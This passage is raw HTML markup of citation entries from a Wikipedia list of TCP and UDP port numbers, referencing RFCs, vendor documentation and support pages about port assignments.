title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Michigan+Inter-governmental+Trade+Network&amp;rft.atitle=PEG+Specifications&amp;rft.date=2015-01&amp;rft_id=https%3A%2F%2Fwww.mitn.info%2Fxfer%2FPublicSolicitation_Docs%2FSDIR~142085%2F2-ATT%2520U-verse%2520Encoder%2520Requirements.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-218\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-218\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFRidgeRun\" class=\"citation book cs1\">RidgeRun. <a rel=\"nofollow\" class=\"external text\" href=\"https://developer.ridgerun.com/wiki/index.php?title=GStreamer_Daemon_-_Python_API#class_pygstc.gstc.GstdClient.28ip.3D.27localhost.27.2C_port.3D5000.2C_logger.3DNone.2C_timeout.3D0.29\">\"Python API\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://developer.ridgerun.com/wiki/index.php?title=GStreamer_Daemon_-_Python_API\"><i>GStreamer Daemon</i></a>. <a href=\"/w/index.php?title=RidgeRun,_LLC.&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"RidgeRun, LLC. (page does not exist)\">RidgeRun, LLC.</a> &#8211; via RidgeRun Documentation. <q>...&#160;pygstc.gstc module&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Python+API&amp;rft.btitle=GStreamer+Daemon&amp;rft.pub=RidgeRun%2C+LLC.&amp;rft.au=RidgeRun&amp;rft_id=https%3A%2F%2Fdeveloper.ridgerun.com%2Fwiki%2Findex.php%3Ftitle%3DGStreamer_Daemon_-_Python_API%23class_pygstc.gstc.GstdClient.28ip.3D.27localhost.27.2C_port.3D5000.2C_logger.3DNone.2C_timeout.3D0.29&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-219\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-219\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://developer.apple.com/forums/thread/682332\">\"Why is Control Center on Monterey … | Apple Developer Forums\"</a>. <i>developer.apple.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-10-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=developer.apple.com&amp;rft.atitle=Why+is+Control+Center+on+Monterey+%E2%80%A6+%7C+Apple+Developer+Forums&amp;rft_id=https%3A%2F%2Fdeveloper.apple.com%2Fforums%2Fthread%2F682332&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-riotgames-kb-201752664-220\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-riotgames-kb-201752664_220-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPicture_of_Horse2017\" class=\"citation web cs1\">Picture of Horse (2017-07-18). <a rel=\"nofollow\" class=\"external text\" href=\"https://support.riotgames.com/hc/en-us/articles/201752664-Troubleshooting-Connection-Issues\">\"Troubleshooting Connection Issues\"</a>. <i>Riot Games Support</i>. <a href=\"/wiki/Riot_Games\" title=\"Riot Games\">Riot Games</a>. Port forwarding. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170810112436/https://support.riotgames.com/hc/en-us/articles/201752664-Troubleshooting-Connection-Issues\">Archived</a> from the original on 2017-08-10<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-08-10</span></span>. <q>...&#160;Now you must create an entry for each of the port ranges listed on the previous page.&#160;...&#160;5000 - 5500 UDP (League of Legends Game Client)&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Riot+Games+Support&amp;rft.atitle=Troubleshooting+Connection+Issues&amp;rft.pages=Port+forwarding&amp;rft.date=2017-07-18&amp;rft.au=Picture+of+Horse&amp;rft_id=https%3A%2F%2Fsupport.riotgames.com%2Fhc%2Fen-us%2Farticles%2F201752664-Troubleshooting-Connection-Issues&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-221\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-221\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.assa.se/Other/ASSA/Products/Broschyrer%20Svenska/Passersystem/ARX-Passersystem.pdf\">ARX Passersystem, Användarmanual</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20100821032559/http://www.assa.se/Other/ASSA/Products/Broschyrer%20Svenska/Passersystem/ARX-Passersystem.pdf\">Archived</a> August 21, 2010, at the <a href=\"/wiki/Wayback_Machine\" title=\"Wayback Machine\">Wayback Machine</a></span>\n</li>\n<li id=\"cite_note-Hill-222\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-Hill_222-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-Hill_222-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHillSpiro2012\" class=\"citation web cs1\">Hill, Graham; Spiro, Jason, eds. (3 April 2012). <a rel=\"nofollow\" class=\"external text\" href=\"http://security.stackexchange.com/a/13425/11180\">\"Nmap indicates that \"telepathstart\" and \"telepathattack\" are listening on ports 5010 and 5011 of my Linux box. What are these?\"</a>. <i>IT Security Stack Exchange</i>. Stack Exchange, Inc. Answer by Graham Hill<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2012-07-13</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=IT+Security+Stack+Exchange&amp;rft.atitle=Nmap+indicates+that+%22telepathstart%22+and+%22telepathattack%22+are+listening+on+ports+5010+and+5011+of+my+Linux+box.+What+are+these%3F&amp;rft.pages=Answer+by+Graham+Hill&amp;rft.date=2012-04-03&amp;rft_id=http%3A%2F%2Fsecurity.stackexchange.com%2Fa%2F13425%2F11180&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Microsoft-223\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-Microsoft_223-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-Microsoft_223-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.microsoft.com/en-us/sql/sql-server/install/configure-the-windows-firewall-to-allow-sql-server-access\">\"Configure the Windows Firewall to Allow SQL Server Access\"</a>. <i>Microsoft SQL Server</i>. Microsoft<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-08-29</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Microsoft+SQL+Server&amp;rft.atitle=Configure+the+Windows+Firewall+to+Allow+SQL+Server+Access&amp;rft_id=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fsql%2Fsql-server%2Finstall%2Fconfigure-the-windows-firewall-to-allow-sql-server-access&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-224\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-224\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.symantec.com/en_US/endpoint-protection.51971.html\">\"Symantec Intruder Alert product support\"</a>. Symantec<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Symantec+Intruder+Alert+product+support&amp;rft.pub=Symantec&amp;rft_id=https%3A%2F%2Fsupport.symantec.com%2Fen_US%2Fendpoint-protection.51971.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-225\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-225\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5923#section-1\"><i>RFC 5923</i></a>. sec.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5923\">10.17487/RFC5923</a></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=&#82;FC+5923&amp;rft.pages=sec.-1&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5923&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc5923%26%23035%3Bsection-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-epics-r3.14-reference-manual-226\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-epics-r3.14-reference-manual_226-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-epics-r3.14-reference-manual_226-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.aps.anl.gov/epics/base/R3-14/12-docs/CAref.html#port\">\"EPICS R3.14 Channel Access Reference Manual\"</a>. <i>www.aps.anl.gov</i>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=www.aps.anl.gov&amp;rft.atitle=EPICS+R3.14+Channel+Access+Reference+Manual&amp;rft_id=http%3A%2F%2Fwww.aps.anl.gov%2Fepics%2Fbase%2FR3-14%2F12-docs%2FCAref.html%23port&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc4582-227\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc4582_227-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFCamarilloOttDrage2006\" class=\"citation cs1\">Camarillo, Gonzalo; Ott, Joerg; Drage, Keith (November 2006). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4582\"><i>The Binary Floor Control Protocol (BFCP)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC4582\">10.17487/RFC4582</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4582\">4582</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-12-13</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=The+Binary+Floor+Control+Protocol+%28BFCP%29&amp;rft.pub=IETF&amp;rft.date=2006-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC4582&amp;rft.aulast=Camarillo&amp;rft.aufirst=Gonzalo&amp;rft.au=Ott%2C+Joerg&amp;rft.au=Drage%2C+Keith&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc4582&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-228\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-228\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20080616122132/http://www-306.ibm.com/software/tivoli/products/netcool-impact/\">\"IBM Tivoli Netcool/Impact\"</a>. IBM. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www-306.ibm.com/software/tivoli/products/netcool-impact/\">the original</a> on June 16, 2008<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IBM+Tivoli+Netcool%2FImpact&amp;rft.pub=IBM&amp;rft_id=http%3A%2F%2Fwww-306.ibm.com%2Fsoftware%2Ftivoli%2Fproducts%2Fnetcool-impact%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-229\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-229\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFWilliamsonKostersBlackaSingh1997\" class=\"citation journal cs1\">Williamson, S.; Kosters, M.; Blacka, D.; Singh, J.; Zeilstra, K. (1997). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc2167\">\"RFC 2107, Ascend Tunnel Management Protocol\"</a>. IETF. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC2167\">10.17487/RFC2167</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.atitle=&#82;FC+2107%2C+Ascend+Tunnel+Management+Protocol&amp;rft.date=1997&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC2167&amp;rft.aulast=Williamson&amp;rft.aufirst=S.&amp;rft.au=Kosters%2C+M.&amp;rft.au=Blacka%2C+D.&amp;rft.au=Singh%2C+J.&amp;rft.au=Zeilstra%2C+K.&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc2167&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span> <span class=\"cs1-hidden-error citation-comment\"><code class=\"cs1-code\">{{<a href=\"/wiki/Template:Cite_journal\" title=\"Template:Cite journal\">cite journal</a>}}</code>: </span><span class=\"cs1-hidden-error citation-comment\">Cite journal requires <code class=\"cs1-code\">&#124;journal=</code> (<a href=\"/wiki/Help:CS1_errors#missing_periodical\" title=\"Help:CS1 errors\">help</a>)</span></span>\n</li>\n<li id=\"cite_note-230\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-230\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.speedguide.net/port.php?port=5172\">\"Port 5172 (tcp/udp)\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-07-25</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Port+5172+%28tcp%2Fudp%29&amp;rft_id=http%3A%2F%2Fwww.speedguide.net%2Fport.php%3Fport%3D5172&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-vice-rip-aim-231\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-vice-rip-aim_231-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFDonaghey2017\" class=\"citation news cs1\">Donaghey, River (2017-12-15). <a rel=\"nofollow\" class=\"external text\" href=\"https://www.vice.com/en_us/article/8xm5w5/rip-aim-vgtrn\">\"Rest in Peace, AIM\"</a>. <i><a href=\"/wiki/Vice_(magazine)\" title=\"Vice (magazine)\">Vice</a></i>. <a href=\"/wiki/Vice_Media\" title=\"Vice Media\">Vice Media</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20180108151524/https://www.vice.com/en_us/article/8xm5w5/rip-aim-vgtrn\">Archived</a> from the original on 2018-01-08<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-19</span></span>. <q>...&#160;Beloved online chat app AOL Instant Messenger died on Friday, <i>USA Today</i> reports. It was 20 years old.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=Vice&amp;rft.atitle=Rest+in+Peace%2C+AIM&amp;rft.date=2017-12-15&amp;rft.aulast=Donaghey&amp;rft.aufirst=River&amp;rft_id=https%3A%2F%2Fwww.vice.com%2Fen_us%2Farticle%2F8xm5w5%2Frip-aim-vgtrn&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc3920-232\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc3920_232-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc3920_232-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSaint-Andre2004\" class=\"citation journal cs1\">Saint-Andre, P. (2004).  Saint-Andre, P (ed.). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc3920\">\"RFC 3920, Extensible Messaging and Presence Protocol (XMPP): Core\"</a>. Tools.ietf.org. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC3920\">10.17487/RFC3920</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.atitle=&#82;FC+3920%2C+Extensible+Messaging+and+Presence+Protocol+%28XMPP%29%3A+Core&amp;rft.date=2004&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC3920&amp;rft.aulast=Saint-Andre&amp;rft.aufirst=P.&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc3920&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span> <span class=\"cs1-hidden-error citation-comment\"><code class=\"cs1-code\">{{<a href=\"/wiki/Template:Cite_journal\" title=\"Template:Cite journal\">cite journal</a>}}</code>: </span><span class=\"cs1-hidden-error citation-comment\">Cite journal requires <code class=\"cs1-code\">&#124;journal=</code> (<a href=\"/wiki/Help:CS1_errors#missing_periodical\" title=\"Help:CS1 errors\">help</a>)</span></span>\n</li>\n<li id=\"cite_note-rfc6120-233\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc6120_233-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc6120_233-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc6120\">\"RFC 6120, Extensible Messaging and Presence Protocol (XMPP): Core\"</a>. IETF. 2003-12-13<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=&#82;FC+6120%2C+Extensible+Messaging+and+Presence+Protocol+%28XMPP%29%3A+Core&amp;rft.pub=IETF&amp;rft.date=2003-12-13&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc6120&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc5415-234\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc5415_234-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc5415_234-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFCalhounMontemurroStanley2008\" class=\"citation journal cs1\">Calhoun, P.; Montemurro, M.; Stanley, D. (2008-11-10).  Calhoun, P; Montemurro, M; Stanley, D (eds.). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc5415\">\"RFC 5415, Control And Provisioning of Wireless Access Points (CAPWAP) Protocol Specification\"</a>. IETF. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5415\">10.17487/RFC5415</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.atitle=&#82;FC+5415%2C+Control+And+Provisioning+of+Wireless+Access+Points+%28CAPWAP%29+Protocol+Specification&amp;rft.date=2008-11-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5415&amp;rft.aulast=Calhoun&amp;rft.aufirst=P.&amp;rft.au=Montemurro%2C+M.&amp;rft.au=Stanley%2C+D.&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc5415&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span> <span class=\"cs1-hidden-error citation-comment\"><code class=\"cs1-code\">{{<a href=\"/wiki/Template:Cite_journal\" title=\"Template:Cite journal\">cite journal</a>}}</code>: </span><span class=\"cs1-hidden-error citation-comment\">Cite journal requires <code class=\"cs1-code\">&#124;journal=</code> (<a href=\"/wiki/Help:CS1_errors#missing_periodical\" title=\"Help:CS1 errors\">help</a>)</span></span>\n</li>\n<li id=\"cite_note-235\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-235\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPatersonSmithSaint-AndreMoffitt2016\" class=\"citation web cs1\">Paterson, Ian; Smith, Dave; Saint-Andre, Peter; Moffitt, Jack; Stout, Lance; Tilanus, Winfried (16 November 2016). <a rel=\"nofollow\" class=\"external text\" href=\"http://xmpp.org/extensions/xep-0124.html\">\"Bidirectional-streams Over Synchronous HTTP (BOSH)\"</a>. <i>xmpp.org</i>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=xmpp.org&amp;rft.atitle=Bidirectional-streams+Over+Synchronous+HTTP+%28BOSH%29&amp;rft.date=2016-11-16&amp;rft.aulast=Paterson&amp;rft.aufirst=Ian&amp;rft.au=Smith%2C+Dave&amp;rft.au=Saint-Andre%2C+Peter&amp;rft.au=Moffitt%2C+Jack&amp;rft.au=Stout%2C+Lance&amp;rft.au=Tilanus%2C+Winfried&amp;rft_id=http%3A%2F%2Fxmpp.org%2Fextensions%2Fxep-0124.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-236\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-236\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://xmpp.org/extensions/xep-0124.html\">\"XEP-0124: Bidirectional-streams Over Synchronous HTTP (BOSH) with SSL\"</a>. Xmpp.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=XEP-0124%3A+Bidirectional-streams+Over+Synchronous+HTTP+%28BOSH%29+with+SSL&amp;rft.pub=Xmpp.org&amp;rft_id=http%3A%2F%2Fxmpp.org%2Fextensions%2Fxep-0124.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-237\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-237\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://xmpp.org/extensions/xep-0174.html\">\"XEP-0174: Serverless Messaging\"</a>. Xmpp.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=XEP-0174%3A+Serverless+Messaging&amp;rft.pub=Xmpp.org&amp;rft_id=http%3A%2F%2Fxmpp.org%2Fextensions%2Fxep-0174.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-238\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-238\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=5310\">\"Service Name and Transport Protocol Port Number Registry\"</a>. IANA<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-10-15</span></span>.</cite><span 